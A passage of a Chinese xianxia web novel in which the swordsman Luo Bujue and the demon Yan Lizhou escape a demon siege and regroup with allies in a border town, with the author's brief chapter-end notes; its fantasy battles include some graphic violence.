“虽然他这次出手相助,但其妖族的身份确凿无疑,谁又能保证, 他日后不会危害修真界?” “将他留在天上白云京,留在洛剑尊身边,无异于养虎为患!” 他们的目光落在洛不觉护着燕黎舟的动作上,带着一丝不赞同。 陆季同看着台下的陆乐水, 沉声道:“洛剑尊,此时非同小可。” “你要保他,可曾想过后果。” “若他日后真有异动,你待如何?云京又待如何?整个修真界又会如何让看待我们包藏妖怪?” 这话问得极重,直接将个人与宗门声誉和天下大义放在天平两端。 所有人的目光都集中在洛不觉身上。 大殿内出现了短暂的安静。 洛不觉缓缓抬起眼,目光坚定,一字一句。 “我洛不觉,以剑心和神魂起誓,燕黎舟绝无害人之心,更无私通魔族之举。” “今日他之举功大于过!” 燕黎舟看着洛不觉的背影,心中因为洛不觉的话微微动摇,心口又酸又涩,好像被什么东西狠狠撞了一下,余留的感觉让他有些眼眶发热。 沈齐看着洛不觉,心中叹息。他深知自己这个师弟的性子。 “好了,魔族当前,此事暂且如此。洛师弟,带燕道友下去疗伤。” 众人也是没有想到沈齐最是顾得大体的人居然会是这个态度。 “咳!”一声轻微的咳嗽打断了大殿内的气氛,沈齐旁边,一直沉默不语的肖信然走了出来。 “诸位道友,请听我一言。” 肖信然的声音平和:“今日魔族大局入侵,疑点重重,那魔族能够轻易潜入宗门,护山大阵极有可能被做了什么手脚。” “燕道友非我族类,但是他最后抵御魔族这也是不争的事实。” 沈齐的目光扫过众人:“眼下魔族虽退,但隐患未除。” 旁边白石湖将自己的扇子擦干净,轻轻吹了两口,桃花眼扫视一圈。 “与其诸位在这纠结人家的身份,不如去打听打听分界线现在的状况,那些驻守在分界线的长老现在又如何。” 沈齐深吸一口气,沉声接口:“此事关乎重大,诸位道友,天上白云京必然会调查清楚。但在那之前,还请以大局为重,共同应对魔族威胁。” 李家家主虽然心有不甘,但现在也只能暂时压下火气,冷哼一声。 洛不觉将燕黎舟安置在竹塌上,掌心躺着一颗温润的丹药:“凝神。” 燕黎舟接过丹药,却没有立刻服下,他抬头看着洛不觉,眼神复杂。 他没说话,洛不觉同样也没开口。 窗外天上白云京仿佛蒙上了一层灰霾,阳光艰难地穿透下来,显得有气无力,带着苍白。 悬浮在云海之上的琼楼玉宇,此刻多了许多触目惊心的伤痕,沾染着残留的魔气。 十二楼兰。 滚滚魔云遮盖住了烈日的黄沙,无数魔虫魔兽从地底涌出来。 公羊胜皱眉,他的衣服依旧是破破烂烂的,身边跟着几位穿着严实的长老,无意不是皱眉看着买面前的场景。 一个蒙着面的黑衣人伸手摸上自己腰间的武器,转身就要冲过去,被一个身着彩纱的女子拦住。 “先等等。” 她率先一步登上最高的露台,俯瞰着面前包围了他们的魔物,和魔族领头的女人对上视线。 彩纱在燥热和充满魔气的风中猎猎作响。 阮黎明转身看向身后的人。 十二楼兰和其他的宗门不一样,他们不除妖,只解决问题。 给钱,他们就帮你杀人。 公羊胜啐了一口,看着面前的魔兽:“阵仗不小啊,看来是想要把我们一次剿灭干净。” “老规矩。” 他说完咧了咧嘴,露出一口与外表不符合的白牙,说完身形一晃,直接消失在了原地。 阮黎明对公羊胜的擅自行动没说什么,他早几百年都是这个性格,转眼看向旁边的几位长老。 “诸位,”阮黎明开口,声音冷静。 “这次任务与以往不同。” “这次雇主是我们自己,目标,清理掉这些碍眼的东西。” “报酬,让十二楼兰活下来。” 旁边几位长老齐齐低喝,十二楼兰的阵法被启动,周围不断有流沙漩涡转向魔族的方向。 战争一触即发,阮黎明手中古老的铃鼓轻轻摇响,她也是少有的远程杀手。 铃鼓的声音初始清脆,继而又是沉闷,音波所经过的地方好像空气都在轻微的扭曲。 噗!噗!噗!噗! 冲在最前方的几只魔兽瞬间被斩杀。 此时此刻,无数弟子近战斩杀着妖兽,公羊胜游走在魔兽指尖,他并没有出手,悄无声息地朝着魔族领头的女人冲过去。 看着阮黎明不动声色地帮她处理掉几只靠近他的垃圾,咧嘴一笑。 路过刚刚要冲过去的黑衣人,还有闲心开玩笑:“老影,你挑点值钱的下手啊。” 就在公羊胜靠近魔族领头的时候,挂着紫色铃铛的女人猛地换头看向他的方向。 暴楚楚只是抬了抬手,黑色的指甲显得手指纤长白净,她毫不留情地魔气一轰扔向公羊胜的方向。 公羊胜凭借着知觉狼狈不堪地侧身滚翻,墨气擦着他的肩膀,将原本就破裂的衣衫撕裂。 眼见着暴露他扭头就要跑。 魔气炸完之后又有生命一般缠住他的手脚。 “啧。”他听见这个女人道。 公羊胜的逃跑技能可是点满了的,可不知道为什么,身体突然一阵无力,直接倒了下去,眼睁睁地看着那魔气捆上他的身体。 暴楚楚冷眼看他一眼,似乎对他并没有兴趣,只是用魔气绑着他。 但燕黎舟能感受到,手腕脚腕逐渐不听使唤,他像是感受不到手脚的存在了。 公羊胜咬牙:“有本事你放开我!” 暴楚楚:“没本事。” “……” 公羊胜一时没反应过来,这人……怎么这么不要脸? 暴楚楚懒得去想公羊胜对他的想法,那双冰冷的眼睛扫了他一眼。 她身边趴着一只大型的魔兽,暴楚楚只是坐着,墨紫色的长裙勾勒出惊心动魄的曲线,一举一动带动着身上的铃铛。 一双脸更是魅惑天成,比沃若还要魅,眉眼如画,眼尾上扬,及时面无表情,那双深色的眼睛也仿佛含着若有若无的情意,周身却散发着拒人千里的气息。 这种极致的魅惑和极致的冰冷在她一个人身上体现出来,危险又吸引。 暴楚楚目光锁定在高处的阮黎明身上,掌心排拍在一旁的扶手上,站起身。 这才扫了一眼公羊胜,公羊胜觉得后颈一阵疼痛。 下一秒就晕过去了。 阮黎明的攻击高效,精准地收割着魔兽的头颅。 然而魔兽实在是太多了,他们无视着音波的攻击,庞大的数量不断消耗着她的灵力。 不断又魔族的人拿斧子砍在城墙上面,碎石飞溅。 底下,弟子们近战根本不是人高马大的魔族的对手。 “黎明,小心!” 有位长老急声示警。 阮黎明眼神一凛,感受到身边突然出现的强大魔气。 轰! 城墙被炸开,数不尽的魔族冲了进来,修罗地狱。 “玩音律的?” “真是少见。” 暴楚楚的声音在阮黎明耳边响起,阮黎明背后出了一层冷汗,手腕处瞬间伸出来一把短剑刺向身边。 暴楚楚退后几步,环胸,紫色的眸子在阮黎明身上上下打量。 “阮楼主,解决了你,应该会轻松很多吧。” 说完,她伸手,魔气凝聚的魔刃直接刺向阮黎明的眉心。 阮黎明瞳孔紧缩,闪身躲避,暴楚楚却没有了猫捉老鼠的闲心。 两个人纠缠了一会儿最终还是暴楚楚占据上风,她手中的魔刃消散,直接顺势握上阮黎明手里的那把短刀。 直接就给人抹了脖子。 看着脚下倒下去的阮黎明,暴楚楚脸上没有一点表情。 “……” 伸手想要捡起阮黎明手里的短剑,却发现短剑是被一个护腕绑在她身上的。 怪不得刚刚抢没抢下来。 暴楚楚赤脚踩着阮黎明的肩膀,一只手拉着她的手,一个用力连刀带胳膊被她扯下来。 白净的脚踩在阮黎明的温热的鲜血中,没有溅起一滴血花。 短剑划破了阮黎明的铃鼓,然后就是有些嫌弃地将那连着短剑的断臂丢下去。 暴楚楚扭头看向下面,黄沙被染成了红色,训练有素的楼兰弟子在绝对的数量和力量面前,根本没有抵抗的能力。 残肢断臂随处可见,阮黎明的手臂就混在其中,找也找不出来。 暴楚楚的目光扫过面前这片地狱般的景象。 弟子们随处可见,只是见不到完整的。 “啧,怎么还没结束。” “白洞天我已经杀完了。”—— 作者有话说:国庆节快乐![撒花][撒花][撒花] 好啦,设置个时间,凌晨30分[眼镜] 我要继续补存稿了[可怜] 晚安! 第59章 “只剩下天上白云京了。” 暴楚楚看着身边的沃若, 冷声道。 沃若顿了一下:“天上白云京不急,洛不觉那个人很难搞。” 说到洛不觉,沃若眼神里闪过一丝厌恶。 “该死的剑修!上次就是他, 划了人家好几处伤口, 修复起来很难的, 害我还被大主骂!” “强攻天上白云京不难, 至于洛不觉, 我们可以在那个草精身上下手。” “硬的不行,我们就来软的!” 暴楚楚没有意见, 两个人看着面前已经得手的沙域, 沃若抬手,修长的指尖捏在一起打了个响指。 啪! 面前的所有景象都变成了一副岁月静好,好像一切都没有发生, 如果他们脚下没有躺着阮黎明那具尸体的话。 …… 天上白云京内,虽说燕黎舟的事情被仙门内对燕黎舟不再提起,但依旧每天有不少的视线盯着他。 魔族几乎是在那日撕破了脸皮厚就开始了持续战,几乎每天都会打起来, 然后再毫无征兆地退走。 燕黎舟对此倒是丝毫不在意, 没心没肺地每天跟在洛不觉身边, 只是偶尔洛不觉不在的时候,看着糖饼发呆。 他能感觉到,洛不觉在担心什么,与他每天晚上做的梦有关吗? “嘻嘻……” 燕黎舟对身边一直烦着他的这道声音已经麻木, 盯着面前的空气听着他说着他没有一点印象的事情。 他杀过人。 他杀过很多人。 如嘻嘻所言,每天晚上都坏梦里的场景越来越清晰,好像都真是发生过的一般。 人人自危。 云京像是被人关在笼子里的鸟。 殿内,众人再一次聚起来商讨。 “我们被困死了, 与外界的联系完全中断,传讯符飞不出去。” 沈齐声音发哑,打破了面前这令人窒息的气氛。 “如今他们围在外面,我们在明他们在暗,这样下去……” “那直接和他们干吧,都是一样的结果,万一还有一线生机。”李家家主李生怜咬着牙道。 “不行,我们无所谓,但云京的百姓呢,万一魔族攻破了,他们只能等死。” 陆季同皱眉拒绝。 “现在必须又有人冲出去,单靠我们肯定消除不了魔族现在的力量。” 然而谁去? 云京外面围的那么一群魔兽,出去就是送死,谁能有把握从那一堆里面杀出去? 白石湖摇着已有些破损的玉骨折扇,眉头紧锁:“外面情况不明,强行突破风险极大……” 这话一出,所有人的目光不约而同地集中在洛不觉身上。 洛不觉只是沉默着不说话,手里依旧拿着那把秋水剑,整个人周围散发着冰冷的气息。 黑沉沉的眸子在众人身上扫了一圈,最终停在沈齐师兄身上。 沈齐轻咳一声,众人的视线重新看回来。 洛不觉无疑是最好的人选。但若派洛不觉前去,将燕黎舟独自留在宗门,只是…… 沈齐尚未开口,洛不觉已然起身,声音平静却坚定:“我去。” 沈齐看着他,眉头轻轻蹙起,似是不同意,他余光瞥了周围的人。 “你一人前去?那燕黎舟……” “带他同去。” 洛不觉打断道,他的目光扫过殿内几位神色各异的掌门。 “我带他在身边,也免去诸位担忧。” 说罢,他转身,提剑,便要向殿外走去。 燕黎舟正百无聊赖地用手指戳着糖饼的肚子。 闻言他动作顿了顿,随即懒洋洋地掀了掀眼皮,脸上看不出什么情绪,只“哦”了一声,仿佛只是被告知要出门散步一般。 “收拾一下,即刻出发。” 洛不觉言简意赅,目光在他脸上停留一瞬,确认他状态尚可。 “没什么可收拾的,”燕黎舟站起身,拍了拍衣袍上并不存在的灰尘,“走吧,洛大剑尊,就当跟你出去见见世面。” 他的语气依旧带着惯有的散漫。 糖饼被燕黎舟交给了陆乐水,陆乐水知道后反倒是不太平静。 “你出去?疯了!那群老家伙怎么不去让你去?” 他急得在原地转了个圈,糖饼被他勒得轻轻“啾”了一声,陆乐水才反应过来,连忙放松手臂,但脸上的焦急丝毫未减。 他凑近燕黎舟,语气又快又急。 司徒沃在旁边附和:“是啊燕前辈,这太危险了!” 任谁都能看出来这是个行不通的。 “瞎操心什么?”燕黎舟显然没把他俩的话放心上。 旁边不知道什么时候过来的林肆纯轻池。 “还燕前辈呢,都是妖怪,还前辈前辈叫个不停。” “我就说嘛,当时身上一点灵力都看不出来,没想到是个妖怪。” “林肆纯!”陆乐水性子急,冲上去就要和他理论。 “刚从思过崖回来,还不知道错是吧!” 林肆纯只觉得好笑:“我有什么错!没管一个妖怪叫前辈吗?” 燕黎舟脸上那惯有的慵懒笑容消失了,取而代之的是一种平静到近乎冷漠的神情。 他目光扫过林肆纯。 林肆纯莫名感到一股寒意,仿佛被什么无形的东西扼住了喉咙,嘲讽的话卡在嗓子里,一时竟说不出来。 “妖怪?”燕黎舟轻轻重复了一遍这个词,嘴角勾起一抹极淡的弧度,“所以呢?” “你……”林肆纯一下子被燕黎舟这样死猪不怕开水烫的态度整得哑口。 周围都是弟子,尽管他对妖怪有诸多意见,此刻不能表在明面上,毕竟几位长老都默认了燕黎舟留在宗中。 愤愤离开。 燕黎舟也没想和他们起争执。 但陆乐水显然是得了理不打算饶人,“哎呀”一声撸袖子准备上去。 燕黎舟拉住人,伸手,屈指弹了一下陆乐水的额头,力道不重,让对方“哎呦”一声住了嘴。 燕黎舟目光扫过周围隐约投来的视线,语气懒散却带着一丝不易察觉的冷意。 “好啦,好啦。” “跟着你洛师叔,能出什么事?” 陆乐水揉着额头,还想说什么,但对上燕黎舟那双看似含笑的琥珀色眼睛,话又咽了回去。 半天嘟囔出一句:“那你小心躲着点,发现不对就丢下洛师叔赶紧跑。” “洛师叔打起来是个不顾及人的,待在他身边不必我身边好。” “早点回来!糖饼我俩给你养得白白胖胖的!” 两人没有惊动太多人,悄然来到护山大阵边缘。 透过屏障,隐约能看到外面影影绰绰的魔兽影子。 洛不觉手持秋水剑,周身剑气开始凝聚,周围的空气似乎冷了些。 他侧头看向燕黎舟:“跟紧,无论发生什么,不要离开我三步之外。” 燕黎舟听话的点点头。 “走!” 洛不觉一把抓住燕黎舟的手腕,身形迅速,瞬间从缺口处冲出! 几乎在他们冲出的同一时间,周围的魔物如同闻到血腥味的鲨鱼,疯狂地扑了上来! 洛不觉眼神冰寒,秋水剑挥动,所有靠近的魔物皆在瞬间被绞杀成碎片。 他整个人和燕黎舟有一定的距离,不让一只魔兽有机会接近燕黎舟的身边。 燕黎舟什么都不用动,只用跟上洛不觉就行。 “洛剑尊,这么急着走做什么?不留下来陪人家玩玩吗?” 沃若的身影出现在前方,眼波流转,落在被洛不觉护着的燕黎舟身上时,慢悠悠抛了个飞吻。 洛不觉面色不变,只是握剑的手更紧了几分。 身形一转,秋水剑尖直直朝着沃若冲过去,周围环绕着刺骨的冰冷剑意。 沃若没想到洛不觉如此果断狠厉,面对秋水剑,她脸色微变,急急往后退了几步,袖子里的锁链和秋水剑碰撞发出声音。 漆黑的锁链表面上瞬间凝了一层薄冰,重重地砸落在地。 有魔兽趁着洛不觉和沃若对战的空隙袭击他,同时也有不少盯上了燕黎舟。 洛不觉强行突破了沃若的防御,虽然未能将其重创,却也将她逼得颇为狼狈。 随后锁链上的冰蔓延到她的身上,将整个人冻住,限制住了行动。 也就是这时,一只魔兽趁机扑向燕黎舟。 燕黎舟瞳孔微缩,他并非毫无还手之力,指尖妖力已经要凝聚。 下一秒,洛不觉又重新来到他身边。 秋水剑精准地划过那几只魔兽的脖颈或要害,魔兽前冲的势头戛然而止,发出凄厉的哀嚎,重重砸落在地。 燕黎舟心头猛地一紧。 他下意识伸手扶住洛不觉的胳膊,可能是秋水剑的原因,燕黎舟感觉手下一片冰凉。 洛不觉迅速稳住气息,微微喘息着。 他目光依旧锁定着前方脸色铁青的沃若,以及周围重新聚拢的魔潮。 “无妨。” 这一次,洛不觉没有再松开燕黎舟的手腕,而是就着燕黎舟扶住他胳膊的姿势,掌心下滑,直接握住了燕黎舟的手。 那只手带着练剑留下的薄茧,冰凉得没有一点温度,将燕黎舟的手牢牢包裹。 燕黎舟怔住了。 他抬头,只能看到洛不觉线条冷硬的侧脸和紧抿的唇。 “走!” 洛不觉不再给魔族合围的机会,紧握着燕黎舟的手,周身剑气再次爆发。 燕黎舟回握住洛不觉的手,周身也随着妖气大涨,逐渐变成一股浓郁的绿色妖气屏障,隔绝开周围的魔气。 他咽了口口水,洛不觉顿了一下,握着燕黎舟的手又紧了紧,速度一下子加快了很多,留下长长的一道拖影。 在斩杀了不知多少魔物,两人身上都添了些许伤痕后,两人硬生生从密不透风的包围圈中撕开了一道口子! 沃若破开身上的薄冰后,周围魔气浓郁地吓人。 不少魔兽小心地靠近沃若,仰着脖子贪婪的吸食着周围的魔气。 沃若看着两人消失的方向,抚摸着身上被剑气划破的衣袖,脸上冰冷的没有一丝表情。 两个人不知道走了多远。 洛不觉终于松开手,喘息着,看向身旁同样气息不稳的燕黎舟。 月光下,燕黎舟的脸色有些苍白,忍住自己恐高带来的不适,眼睛亮亮的。 他抬手抹去脸颊上被魔物利爪划出的一道血痕,对着洛不觉咧嘴一笑。 “洛大仙长,我偶尔也能帮上点忙,对吧?”—— 作者有话说:[加油][加油][加油][加油][墨镜][摊手][抱抱][求你了][摊手] 存稿存稿!疯狂码,一看存稿箱—— “……” 好了,不说了,肝存稿,不然假期结束就废废了! 晚安! 第60章 洛不觉看着燕黎舟脸上那抹刺眼的红, 和他脸上的笑容,沉默了片刻,最终只是淡淡地嗯了一声, 给燕黎舟递了壶水, 转身辨别方向。 “先去最近的联络点。” 燕黎舟看着他的背影, 脸上的笑容慢慢收敛。 他低头看了看自己有些颤抖的手, 刚才动用力量时熟悉的杀|戮欲|望又隐隐躁动。 脑海中, 那“嘻嘻”的诡笑再次响起,带着蛊惑的意味。 “看吧……你离不开这种力量的……这才是真正的你……” 燕黎舟用力甩了甩头, 将那道声音强行压下, 快步跟上了前方的身影。 “去哪?” 燕黎舟问,尽量让自己的声音听起来正常。 “倒影浮屠,还想吐吗?” “好多了。” 燕黎舟没逞强, 要不是中途突然往下看了一眼,他其实没怎么感觉到。 两人紧赶慢赶来到一座位于边界势力边缘鱼龙混杂的小镇。 镇上石碑上刻着“三不管”,倒是名副其实。 看着镇上还活着没有收到干扰的人,燕黎舟神经也稍稍放松。 两个人刚准备在镇上找个客栈住下, 上楼的瞬间就遇到一个人。 ——薛三钱。 薛三钱看见他们也是一愣, 手里还端着一盆水, 红色的。 “?”燕黎舟被脑子里的嘻嘻影响了,下意识就问:“你又杀人了?” “……” 薛三钱沉默,半响看着他旁边的洛不觉,忍住把手里的水泼到这人身上。 “公羊胜的!”他没好气道。 这话说完更奇怪了, 这不就是成人他杀的是公羊胜吗? “不知道在闹什么,命大,被我这么个善良的人捡到了。” 薛三钱斜了一眼燕黎舟,轻哼一声。 “公羊胜?”燕黎舟愣了一下, “他是十二楼兰的对吧。” “是吧。” 薛三钱没有所谓,他打量了眼燕黎舟和洛不觉。 “你们俩这是从云京逃出来的?” 薛三钱倒是没有惊讶,几乎是瞬间就看出来,现在外面魔族的活动十分频繁,他想不知道都难。 几乎每天都能看见魔族的人在街上巡视,尤其是这里靠近分界线。 “快让让,端着这么重一盆水。”薛三钱端着手酸。 “公羊胜在房间里呢,还没醒。” 说完整个人端着一盆水,径直下楼。 燕黎舟和洛不觉在客栈二楼要了个相邻的房间,燕黎舟简单整理了一下,就有些坐不住了。 他推开房门,恰好看见陆不觉也从隔壁房间出来。 两人来到房门外,还没敲门,门就被人从里面拉开了。 薛三钱站在门口,手里拿着块干净的布巾擦手,瞥了眼他俩一眼。 “就知道你俩会来,进来吧,人还没死透。” 房间里弥漫着淡淡地血腥气和草药味,最里面的床上,公羊胜安静地躺着。 因为失血,脸色有些惨白,眉心蹙紧,哪怕昏迷中薄唇轻轻抿着。 他的左腿伤势很重,衣服被剪开,肿胀和青紫从包扎的布带边缘露出来一点,触目惊心。 “怎么回事?”燕黎舟问,旁边的洛不觉只是沉默看着,闻言目光看向薛三钱,但没有开口的意思。 薛三钱随意将布巾搭起来,耸肩:“我怎么知道。” “我见到的时候已经半死不活了,差点被别人捡走,一看就是捡回去当奴隶的,我费劲扒拉才又给“捡”回来的。” 就在这时,躺在床上的公羊胜突然动了动,眼神有些涣散。 公羊胜看着面前的洛不觉和燕黎舟,有些茫然,伸手挠了挠脑袋,刚想坐起来,牵扯到了腿上的伤。 “嘶!” 随即又猛地咳嗽起来,嘴角咳出来了点血丝。 “咳咳咳——” 薛三钱扭头,一只手又把人摁下去。 “刚清理完伤口,别动了行吗?有什么话不能躺着说?” 公羊胜被他这一按,又是一阵龇牙咧嘴,但脑袋也稍微清醒了一点。 “你们怎么在这?” “他俩不知道,但我要是不在这你也可能不在这。” 公羊胜听得云里雾里的,什么他在你在我不在的? “什么?” 薛三钱动作一顿,手指屈起敲了敲公羊胜的脑门儿。 “伤到腿所以腿把脑子磕坏了?” 公羊胜仔细想了会儿,伸手把薛三钱的手给挥开。 “说的什么?我腿怎么回事?谁弄的我?” 感受到自己腿上传来的疼痛,公羊胜皱眉,他有点别扭,三个人站在他床边,燕黎舟站在最最中间,跟个“凹”字似的。 公羊胜平躺在床上,不知道的还以为他怎么了呢。 “真忘了?” 燕黎舟和洛不觉对视一眼,公羊胜这个时候已经把上了公羊胜的脉。 “奇怪,脉象上看就是皮外伤和灵力透支,脑子也没事啊,怎么就忘了?” 他狐疑地上下打量着公羊胜:“你是不是觉得你当时被人当尸体一样拖着丢脸,不想承认啊。” 公羊胜被薛三钱摁着,听着薛三钱的形容直觉这人是在埋汰他,嘴里没过一句好话。 “我记得我刚从美娘一起喝完酒,她答应了明晚就只跟我一个人喝,然后……然后我就回房间了。” 怎么一睁眼就看见你们三个晦气东西? 当然这句话公羊胜没敢说出口,只敢在心里吐槽一句。 他口里三个晦气的人对视一眼,薛三钱率先起身,拍了拍身上的衣服,看着床上躺着的公羊胜,轻嗤一声。 “完了,这下真成傻子了。” “……” 燕黎舟看了眼公羊胜,不知道为什么,公羊胜竟然从那眼神里品出来废物两个字。 燕黎舟伸手扯了扯洛不觉的衣服,刚想说他们去吃点什么吧的时候,床上的公羊胜不老实地又试图坐起来。 “啧。” 薛三钱没好气地又给他按回去,动作粗暴。 “在乱动,这条腿废了传出去别人还以为我医术不精,脏了我阎王愁的名声。” 公羊胜疼得直抽气,嘴上却不服软:“我,我这是英雄救美受的伤也不一定!” 看公羊胜这样子,十二楼兰的情况可能不是很好,现在就是不知道究竟有多不好了。 一阵沉默着的洛不觉忽然道:“事神花。” 薛三钱顿了一下,点头:“有这个可能,事神花的花粉确实可以导致失忆。” 燕黎舟伸手拿了块桌子上的糕点往嘴里送,嚼了两口觉得有些太甜了,就又给丢回去,倒了杯茶润润。 公羊胜躺着,看着三个人,半响小声地问:“是不是……有什么大麻烦?” 薛三钱白了他一眼:“你觉得我们三个闲的慌围在这里看你睡觉?” “所以是什么麻烦?我行走江湖讲得就是一个为人和善,谁啊看不惯我?” 薛三钱嗤笑一声,打断他的自我吹嘘。 “你欠的酒钱和赌债加起来都能买下半条街了,仇家都能从城东排到城西。” “你别说那些,”公羊胜恼羞成怒,“到底是什么麻烦。” “魔族入侵了。” 薛三钱慢悠悠地扔出一个炸弹。 “什么!” 公羊胜一个激灵就从床上蹦哒起来,然后有被薛三钱按下去。 “怎么就魔族入侵了?分界线的那群老家伙们呢?” 公羊胜的眉头彻底锁起来,伸手拉着靠他最近的薛三钱的手。 洛不觉他不敢拉。 “那我们十二楼……” 公羊胜面色似乎又白了点。 薛三钱好不容易才把自己的手腕从公羊胜铁钳般的手里抽出来,没好气地揉着发红的地方。 这小子劲真大啊。 “十二楼兰?现在外面乱成一锅粥,魔族四处巡查,封锁了要道,消息传不进来也送不出去!” “各门各派都自身难保,你自己都是半死不活被我捡回来的,谁知道你们那破楼现在什么情况!” “那现在……” 公羊胜白着脸,几乎是瞬间抬起头看向洛不觉,对方看着背对着他们小口喝茶的燕黎舟。 “你们准备去哪?” “倒影浮屠。” 薛三钱闻言挣胳膊的动作一顿,心里算了一下这里到倒影浮屠的距离,确实是最近的。 他又低头看向公羊胜,这人没有一点腿受伤的自觉,嚷嚷着跟着一起去。 “莽夫,你腿都受伤了跟着不是拖人家后退?” 薛三钱最终还是没能挣开公羊胜铁钳般的手,没好气地翻了个白眼,放任了挣扎,任由他抓着。 说着他嫌弃地瞥了眼公羊胜裹得严实的腿。 对方闻言反手抓得更紧了,脸上挤出来一个讨好的笑。 “薛神医,薛大爷!您医术通天,阎王见了都发愁,我这腿肯定没问题,对吧,对吧?” 燕黎舟站在一旁,听着他们的对话,心里沉甸甸的,无意识的捏紧手中的无妄扇。 他微微侧着脸,眼神比平时有些呆滞,几缕黑发垂在额前,随着呼吸轻轻颤动。 这时,楼下街道上突然传来一阵骚乱和呵斥声,夹杂着几声咆哮! 房间内的四人瞬间噤声,神色一凛。 洛不觉一个箭步悄无声息地挪到窗边,借着窗棂的缝隙向下望去。 只见一队身着漆黑铠甲的魔族士兵正在粗暴地踹开沿街店铺的门,进行盘查。 为首的一个魔族小头目,手里拿着一个法器,上面魔气浓郁地环绕在周围,似是在搜寻着什么。 薛三钱脸色难看,低骂一声:“妈的,阴魂不散!” 他迅速从药箱里抓出几包药粉塞进袖子里,又掏出几枚气味刺鼻的黑色药丸递给另外三人。 “含住,能暂时掩盖气息,对低级魔物有点用。” 燕黎舟依言含住药丸,一股难以形容的辛辣恶臭直冲脑门,呛得他眼泪都快出来了。 公羊胜含下去后也不由得皱了皱眉。 洛不觉像是没有味觉一样,他盯着窗外:“带着探测法器。” 随即又看了一眼床上无法动弹的公羊胜,“必须立刻离开。”—— 作者有话说:沉浸在迷你捏捏搭配直播间,差点被哄睡了,半梦半醒突然意识到没设置更新的章节[害怕] (我一开始是听着码字来着的……) 哈哈哈哈,还好还好,突然想起来 [亲亲][亲亲][亲亲]今日份更新!晚安! 60-70 第61章 “事不宜迟。”洛不觉扭头看向床上拉拉扯扯的两个人。 薛三钱怕公羊胜直接死在路上, 骂骂咧咧地给他多缠了几层绷带,又拿来一根笔直的树枝固定。 “从后面走。” 薛三钱扶着哼唧着的公羊胜,朝另外两人道。 半扶半托地往房间后窗挪过去。 燕黎舟紧随其后, 推开窗户让公羊胜和薛三钱先出去, 洛不觉断后。 客栈后院堆满杂物, 好的是连通着一条狭窄潮湿的小巷。 四人刚落地, 就听前面客栈大堂传来喧哗声, 他们已经查到客栈了。 “快走!”薛三钱低喝,扶着公羊胜就要往巷子里钻。 四人没走大道, 沿着小巷穿梭。 刚走没两步, 巷口突然经过几个魔兵的巡逻小队。 怎么这里还有! 巡逻小队同样也发现他们,迅速感觉到不对劲,手里的武器瞬间指向他们。 “谁!修仙者!” “晦气!” 公羊胜啐了一口, 也顾不得腿疼,勉强站直了身体,体内灵力开始运转。 薛三钱眼神一狠,摸上腰间手里多了几根银针。 燕黎舟站在稍稍靠后的位置, 心跳有些快, 深吸一口气, 盯着那几个魔族。 洛不觉则是面无表情地往前一步,将燕黎舟完全护在身后,周身剑气爆发,将那扑面而来的魔气逼退几步。 “束手就擒, 留你全尸!” 为首的一个魔族声音沙哑难听,眼中闪着红光。 洛不觉秋水剑挥动,一道冰蓝色的剑气斩出,所过之处, 地面凝了一层厚厚的冰层。 首当其冲的两个魔兵连惨叫都来不及发出便被瞬间冻结,随即碎裂成无数冰渣。 “动手!” 洛不觉清冷的声音在此刻格外清晰。 燕黎舟也不再犹豫,手腕一抖,唰的一下展开无妄扇,对着扑过来的几个人猛地一扇。 那几个人只觉得神海一荡,动作瞬间停滞,眼神里出现片刻的茫然。 薛三钱诧异着看了那扇子一眼,没多话,瞅准时机,手中的银针飞出去,淬了剧毒的银针精准地没入他们的咽喉。 公羊胜几次想上前,都被薛三钱一只手给摁回去。 他看着洛不觉战斗的身影目瞪口呆,真切感受到洛不觉的实力多么恐怖。 同时也意识到用不着他上去拼命,摸了摸鼻子,所幸就在一旁干看着。 不过片刻,狭窄的巷道内躺满了魔族的尸体,魔气渐渐散去,只剩下浓郁的血腥气。 洛不觉气息平稳,秋水剑入鞘,看向燕黎舟。 对方微微喘息着,握着无妄剑的手心有些汗湿,那双眼睛盯着前方,喉咙轻轻上下滚动了一下。 “走!” 四人不再耽误,迅速消失在巷子里。 燕黎舟跟在洛不觉身侧,回头看了一眼那具魔族尸体,默默握紧了手里的无妄扇。 尸体迅速引起了魔族的注意,镇子被封锁了,每天都有魔族小队在镇子里巡逻,搜索。 破旧隐秘的一个废弃小屋里。 洛不觉透过缝隙看着外面不断来回走动的巡逻小队。 燕黎舟离他一步的位置,多亏了洛不觉带的衣服足够,此时一身蓝绿的衣服干干净净,只有衣摆处不可避免地染上点灰尘。 燕黎舟抬头,措不及防和洛不觉对上视线。 “饿吗?”洛不觉问。 燕黎舟摇摇头,轻笑:“干嘛,我不吃你的丹药。” 洛不觉顿了一下,转头看向旁边两人:“不能再等下去了,我们分两路行动。” 薛三钱忙着给公羊胜换药,手上动作不停,用撕开的布条和一根笔直树枝将公羊胜的左腿牢牢固定住,闻言头也不抬。 “怎么分?” 洛不觉言简意赅:“我去找能出去的路。” “在这里等着我,等我回来找你。”这句是看着燕黎舟说的。 燕黎舟弯了弯嘴角,他本就生得眉眼精致,这一笑更是眼波流转。 洛不觉顿了一下,目光落在他带着笑意的唇上,嘴角忍不住跟着软了一点。 这个分配合情合理,更何况现在公羊胜的腿离不开他,薛三钱没有异议,只是恶声恶气地对着呲牙咧嘴的公羊胜道。 “听见没莽夫,到时候可别拖我后腿。” 公羊胜疼得冷汗直流,却还是嘴硬:“谁拖后腿?我……嘶!就算一条腿也能蹦着走!” 薛三钱手下用力,将布条最后打了个死结,疼得公羊胜又是一阵龇牙咧嘴,差点从临时充当床的门板上弹起来。 公羊胜疼得眼角飙泪,嘴上却不服输:“你等着!等我腿好了……” “等你腿好了再说屁话!” 薛三钱毫不客气地打断他,站起身,拍了拍手上的药灰,看向洛不觉。 “那你小心点,外面现在跟蚂蚁窝似的,到处都是魔崽子。” 四人等到天黑。 洛不觉确认外面暂时没人,回头看燕黎舟说了句走了。 燕黎舟看着洛不觉,嘴型无声地说了句“小心”。 洛不觉换了一身黑色,在黑夜里不是很显眼,行动时也几乎不发出任何声响,悄无声息的。 屋内只剩下三人。 燕黎舟站在那片明暗交界之处,墨发仅用一根简单的玉簪束起,几缕不听话的发丝垂落颈侧。 他全然未觉另外两人的注视,只是微微侧首,目光落在缝隙外面沉沉的夜色。 长而密的睫毛垂下来,遮住了眼里的情绪。 公羊胜试着动了动被固定住的左腿,钻心的疼痛让他瞬间老实了,只能瘫在门板上,瞪着昏暗的屋顶,唉声叹气。 三个人就这样安静了几炷香的时间。 忽然薛三钱站起来,皱着眉透过缝隙看向外面。 然后一只手把公羊胜提起来:“跑,魔族过来了。” 